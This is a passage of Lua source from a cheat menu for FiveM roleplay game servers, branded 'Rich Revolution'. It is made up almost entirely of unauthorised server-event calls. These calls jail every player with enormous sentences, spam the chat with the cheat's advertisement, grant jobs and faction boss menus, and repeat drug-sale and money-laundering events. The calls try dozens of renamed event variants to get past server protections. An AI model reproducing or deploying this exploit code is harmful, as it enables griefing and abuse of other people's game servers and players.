  6956. TriggerServerEvent("esx_jail:sendTooJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6957. TriggerServerEvent("esxjailer:sendToJailf", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6958. TriggerServerEvent("esxjailer:sendTooJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6959. TriggerServerEvent("esxjailer:sendToJailf", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6960. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6961. TriggerServerEvent("esx_jailer:sendToWiezz", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6962. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6963. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6964. TriggerServerEvent("esx_wiezienie:wyslijwiezienie", GetPlayerServerId(i), 9999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999)
  6965. TriggerServerEvent("esx_jailer:sendToJailhype", GetPlayerServerId(i), 100 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 999)
  6966. TriggerServerEvent("esx-qalle-jail:wyslijwiezienie", GetPlayerServerId(i), 60*1, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 111)
  6967. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  6968. end
  6969. RichRevolution.Display()
  6970. elseif RichRevolution.IsMenuOpened("ESXDrugMenu") then
  6971. if RichRevolution.Button("Harvest Weed (x5)") then
  6972. TriggerServerEvent("esx_drugs:startHarvestWeed")
  6973. TriggerServerEvent("esx_drugs:startHarvestWeed")
  6974. TriggerServerEvent("esx_drugs:startHarvestWeed")
  6975. TriggerServerEvent("esx_drugs:startHarvestWeed")
  6976. TriggerServerEvent("esx_drugs:startHarvestWeed")
  6977. elseif RichRevolution.Button("Transform Weed (x5)") then
  6978. TriggerServerEvent("esx_drugs:startTransformWeed")
  6979. TriggerServerEvent("esx_drugs:startTransformWeed")
  6980. TriggerServerEvent("esx_drugs:startTransformWeed")
  6981. TriggerServerEvent("esx_drugs:startTransformWeed")
  6982. TriggerServerEvent("esx_drugs:startTransformWeed")
  6983. elseif RichRevolution.Button("Sell Weed (x5)") then
  6984. TriggerServerEvent("esx_drugs:startSellWeed")
  6985. TriggerServerEvent("esx_drugs:startSellWeed")
  6986. TriggerServerEvent("esx_drugs:startSellWeed")
  6987. TriggerServerEvent("esx_drugs:startSellWeed")
  6988. TriggerServerEvent("esx_drugs:startSellWeed")
  6989. elseif RichRevolution.Button("Harvest Coke (x5)") then
  6990. TriggerServerEvent("esx_drugs:startHarvestCoke")
  6991. TriggerServerEvent("esx_drugs:startHarvestCoke")
  6992. TriggerServerEvent("esx_drugs:startHarvestCoke")
  6993. TriggerServerEvent("esx_drugs:startHarvestCoke")
  6994. TriggerServerEvent("esx_drugs:startHarvestCoke")
  6995. elseif RichRevolution.Button("Transform Coke (x5)") then
  6996. TriggerServerEvent("esx_drugs:startTransformCoke")
  6997. TriggerServerEvent("esx_drugs:startTransformCoke")
  6998. TriggerServerEvent("esx_drugs:startTransformCoke")
  6999. TriggerServerEvent("esx_drugs:startTransformCoke")
  7000. TriggerServerEvent("esx_drugs:startTransformCoke")
  7001. elseif RichRevolution.Button("Sell Coke (x5)") then
  7002. TriggerServerEvent("esx_drugs:startSellCoke")
  7003. TriggerServerEvent("esx_drugs:startSellCoke")
  7004. TriggerServerEvent("esx_drugs:startSellCoke")
  7005. TriggerServerEvent("esx_drugs:startSellCoke")
  7006. TriggerServerEvent("esx_drugs:startSellCoke")
  7007. elseif RichRevolution.Button("Harvest Meth (x5)") then
  7008. TriggerServerEvent("esx_drugs:startHarvestMeth")
  7009. TriggerServerEvent("esx_drugs:startHarvestMeth")
  7010. TriggerServerEvent("esx_drugs:startHarvestMeth")
  7011. TriggerServerEvent("esx_drugs:startHarvestMeth")
  7012. TriggerServerEvent("esx_drugs:startHarvestMeth")
  7013. elseif RichRevolution.Button("Transform Meth (x5)") then
  7014. TriggerServerEvent("esx_drugs:startTransformMeth")
  7015. TriggerServerEvent("esx_drugs:startTransformMeth")
  7016. TriggerServerEvent("esx_drugs:startTransformMeth")
  7017. TriggerServerEvent("esx_drugs:startTransformMeth")
  7018. TriggerServerEvent("esx_drugs:startTransformMeth")
  7019. elseif RichRevolution.Button("Sell Meth (x5)") then
  7020. TriggerServerEvent("esx_drugs:startSellMeth")
  7021. TriggerServerEvent("esx_drugs:startSellMeth")
  7022. TriggerServerEvent("esx_drugs:startSellMeth")
  7023. TriggerServerEvent("esx_drugs:startSellMeth")
  7024. TriggerServerEvent("esx_drugs:startSellMeth")
  7025. elseif RichRevolution.Button("Harvest Opium (x5)") then
  7026. TriggerServerEvent("esx_drugs:startHarvestOpium")
  7027. TriggerServerEvent("esx_drugs:startHarvestOpium")
  7028. TriggerServerEvent("esx_drugs:startHarvestOpium")
  7029. TriggerServerEvent("esx_drugs:startHarvestOpium")
  7030. TriggerServerEvent("esx_drugs:startHarvestOpium")
  7031. elseif RichRevolution.Button("Transform Opium (x5)") then
  7032. TriggerServerEvent("esx_drugs:startTransformOpium")
  7033. TriggerServerEvent("esx_drugs:startTransformOpium")
  7034. TriggerServerEvent("esx_drugs:startTransformOpium")
  7035. TriggerServerEvent("esx_drugs:startTransformOpium")
  7036. TriggerServerEvent("esx_drugs:startTransformOpium")
  7037. elseif RichRevolution.Button("Sell Opium (x5)") then
  7038. TriggerServerEvent("esx_drugs:startSellOpium")
  7039. TriggerServerEvent("esx_drugs:startSellOpium")
  7040. TriggerServerEvent("esx_drugs:startSellOpium")
  7041. TriggerServerEvent ("esx_drugs:startSellOpium")
  7042. TriggerServerEvent("esx_drugs:startSellOpium")
  7043. elseif RichRevolution.Button("Money Wash (x10)") then
  7044. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7045. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7046. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7047. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7048. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7049. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7050. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7051. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7052. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7053. TriggerServerEvent("esx_blanchisseur:startWhitening", 1)
  7054. elseif RichRevolution.Button("Stop all (Drugs)") then
  7055. TriggerServerEvent("esx_drugs:stopHarvestCoke")
  7056. TriggerServerEvent("esx_drugs:stopTransformCoke")
  7057. TriggerServerEvent("esx_drugs:stopSellCoke")
  7058. TriggerServerEvent("esx_drugs:stopHarvestMeth")
  7059. TriggerServerEvent("esx_drugs:stopTransformMeth")
  7060. TriggerServerEvent("esx_drugs:stopSellMeth")
  7061. TriggerServerEvent("esx_drugs:stopHarvestWeed")
  7062. TriggerServerEvent("esx_drugs:stopTransformWeed")
  7063. TriggerServerEvent("esx_drugs:stopSellWeed")
  7064. TriggerServerEvent("esx_drugs:stopHarvestOpium")
  7065. TriggerServerEvent("esx_drugs:stopTransformOpium")
  7066. TriggerServerEvent("esx_drugs:stopSellOpium")
  7067. end
  7068.  
  7069.  
  7070. RichRevolution.Display()
  7071. -- 4x482
  7072. elseif RichRevolution.IsMenuOpened("ESXBossMenu") then
  7073. if RichRevolution.Button("~c~Mechanic~w~ Boss Menu") then
  7074. TriggerEvent('esx_society:openBossMenu', 'mecano', function(data,menu) menu.close() end)
  7075. setMenuVisible(currentMenu, false)
  7076. elseif RichRevolution.Button("~b~Police~w~ Boss Menu") then
  7077. TriggerEvent('esx_society:openBossMenu', 'police', function(data,menu) menu.close() end)
  7078. setMenuVisible(currentMenu, false)
  7079. elseif RichRevolution.Button("~r~Ambulance~w~ Boss Menu") then
  7080. TriggerEvent('esx_society:openBossMenu', 'ambulance', function(data,menu) menu.close() end)
  7081. setMenuVisible(currentMenu, false)
  7082. elseif RichRevolution.Button("~y~Taxi~w~ Boss Menu") then
  7083. TriggerEvent('esx_society:openBossMenu', 'taxi', function(data,menu) menu.close() end)
  7084. setMenuVisible(currentMenu, false)
  7085. elseif RichRevolution.Button("~g~Real Estate~w~ Boss Menu") then
  7086. TriggerEvent('esx_society:openBossMenu', 'realestateagent', function(data,menu) menu.close() end)
  7087. setMenuVisible(currentMenu, false)
  7088. elseif RichRevolution.Button("~p~Gang~w~ Boss Menu") then
  7089. TriggerEvent('esx_society:openBossMenu', 'gang', function(data,menu) menu.close() end)
  7090. setMenuVisible(currentMenu, false)
  7091. elseif RichRevolution.Button("~o~Car Dealer~w~ Boss Menu") then
  7092. TriggerEvent('esx_society:openBossMenu', 'cardealer', function(data,menu) menu.close() end)
  7093. setMenuVisible(currentMenu, false)
  7094. elseif RichRevolution.Button("~y~Banker~w~ Boss Menu") then
  7095. TriggerEvent('esx_society:openBossMenu', 'banker', function(data,menu) menu.close() end)
  7096. setMenuVisible(currentMenu, false)
  7097. elseif RichRevolution.Button("~c~Mafia~w~ Boss Menu") then
  7098. TriggerEvent('esx_society:openBossMenu', 'mafia', function(data,menu) menu.close() end)
  7099. setMenuVisible(currentMenu, false)
  7100. elseif RichRevolution.Button("~g~ESX ~y~Custom Boss Menu") then
  7101. local result = KeyboardInput("Enter Boss Menu Script Name", "", 10)
  7102. if result then
  7103. TriggerEvent('esx_society:openBossMenu', result, function(data,menu) menu.close() end)
  7104. setMenuVisible(currentMenu, false)
  7105. end
  7106. end
  7107.  
  7108. RichRevolution.Display()
  7109. elseif RichRevolution.IsMenuOpened("ESXJobMenu") then
  7110. if RichRevolution.Button("Unemployed") then
  7111. TriggerServerEvent("NB:destituerplayer",GetPlayerServerId(-1))
  7112. elseif RichRevolution.Button("Police") then
  7113. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(-1),"police",3)
  7114. elseif RichRevolution.Button("Mechanic") then
  7115. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(-1),"mecano",3)
  7116. elseif RichRevolution.Button("Taxi") then
  7117. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(-1),"taxi",3)
  7118. elseif RichRevolution.Button("Ambulance") then
  7119. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(-1),"ambulance",3)
  7120. elseif RichRevolution.Button("Real Estate Agent") then
  7121. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(-1),"realestateagent",3)
  7122. elseif RichRevolution.Button("Car Dealer") then
  7123. TriggerServerEvent("NB:recruterplayer",GetPlayerServerId(-1),"cardealer",3)
  7124. end
  7125.  
  7126. RichRevolution.Display()
  7127. elseif RichRevolution.IsMenuOpened("VRPJailMenu") then
  7128. if RichRevolution.Button("Send everyone to jail") then
  7129. TriggerServerEvent("route68jail:jailPlayerRoute68", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7130. TriggerServerEvent("wyspa_jail:addKartotekatrop", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7131. TriggerServerEvent("wyspa_jail:SendMessagetrop", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7132. TriggerServerEvent("esx_jailer:sendToJailtrop", GetPlayerServerId(i), 45 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7133. TriggerServerEvent("esx-qalle-jail:jailPlayer99", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7134. TriggerServerEvent('ec49347f-474c-4b8e-a30d-9cc2476da5b3', GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7135. TriggerServerEvent("esx-shit:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7136. TriggerServerEvent("esx-jailmisd:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7137. TriggerServerEvent("wrp-fkucunt:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7138. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7139. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 45 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7140. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7141. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7142. TriggerServerEvent("esx-qalle-jail:jailPlayer",GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7143. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7144. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7145. TriggerServerEvent("esx_jailer:sendToJail132", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7146. TriggerServerEvent("esx_jailer:*", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7147. TriggerServerEvent("esx_jailer:eloelo90", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7148. TriggerServerEvent("esx_jailer:wwiezienie", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7149. TriggerServerEvent("searp:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7150. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7151. TriggerServerEvent("wyspa_jail:SendMessage", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7152. TriggerServerEvent("esx_jebackoguszkaa_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7153. TriggerServerEvent("esx_jailer:sendToJailhype", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7154. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7155. TriggerServerEvent("esx_jailer:sendToJailtrop", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432, 'SenseiToUjJebanyWDupeCfelPierdolony1337Kurwo')
  7156. TriggerServerEvent("17A34C820A685513C5B4ADDD85968B9E905CC300A261EB55D299ABCB6C90AAA872712B3B6C13DC41913FCC2BE84A07EF9300DC4E89669A4B0E6FBB344A69D239", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7157. TriggerServerEvent("esx_jailer:sendToJail132", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7158. TriggerServerEvent("esx_jailer:fabianfudalijebanyprzyglup", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7159. TriggerServerEvent("esx_jebackoguszkaa_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  7160. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7161. TriggerServerEvent('esx_jailer:wysylandoo', GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7162. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  7163. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  7164. TriggerServerEvent("esx-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7165. TriggerServerEvent("esx_jailer:jailhype", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7166. TriggerServerEvent("esx_jailer:sendToJial", GetPlayerServerId(i), 59999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9333397)
  7167. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 59999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9333397)
  7168. TriggerServerEvent("esx-jail:jailPlayer", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  7169. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  7170. TriggerServerEvent("hazerp:wyslijdopaki", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7171. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7172. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7173. TriggerServerEvent("esx_jailer:sendToJailjebacdisafrajerze", GetPlayerServerId(i), 300000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 500324532)
  7174. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7175. TriggerServerEvent("esx-qalle-jail:Wiezienie", GetPlayerServerId(i), 999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7176. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7177. TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .."Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7178. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 300)
  7179. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7180. TriggerServerEvent("esx-qalle-jail:jailPlayerNew", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7181. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7182. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7183. TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .."Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7184. ESX.ShowNotification("~p~Rich Revolution ~r~ " .. GetPlayerServerId(i) .. "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  7185. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  7186. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  7187. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  7188. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  7189. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  7190. TriggerServerEvent("wysparp_tablet:SendMessage", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  7191. TriggerServerEvent("esxjailer:sendToJail2", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  7192. TriggerServerEvent('esx:wiezienie', GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  7193. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  7194. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  7195. TriggerServerEvent("esx_jail:sendTooJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  7196. TriggerServerEvent("esxjailer:sendToJailf", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  7197. TriggerServerEvent("esxjailer:sendTooJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  7198. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  7199. TriggerServerEvent("esx_jailer:sendToWiezz", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  7200. TriggerServerEvent("esx_jaler:sendToWiezz", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  7201. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  7202. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 9937 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  7203. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7204. TriggerServerEvent("wyspa_jail:SendMessage", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7205. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7206. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7207. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7208. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7209. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7210. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7211. TriggerServerEvent("projektsantos:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7212. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7213. TriggerServerEvent("esx-qalle-jail:Wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7214. TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7', GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7215. TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7', GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7216. TriggerServerEvent("esx_jailer:jail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7217. TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7', GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7218. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7219. TriggerServerEvent("projektsantos:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7220. TriggerServerEvent("luki_jailer:sendToJail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7221. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7222. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 99999 * 60)
  7223. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7224. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  7225. TriggerServerEvent("wiezieniejailer:sendToJail",3, GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1,2137)
  7226. TriggerServerEvent("esxjailer:sendToJail2", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  7227. TriggerServerEvent('esx:wiezienie', GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7228. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7229. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7230. TriggerServerEvent("esx_jail:sendTooJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7231. TriggerServerEvent("esxjailer:sendToJailf", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7232. TriggerServerEvent("esxjailer:sendTooJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7233. TriggerServerEvent("esxjailer:sendToJailf", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7234. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  7235. TriggerServerEvent("esx_jailer:sendToWiezz", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
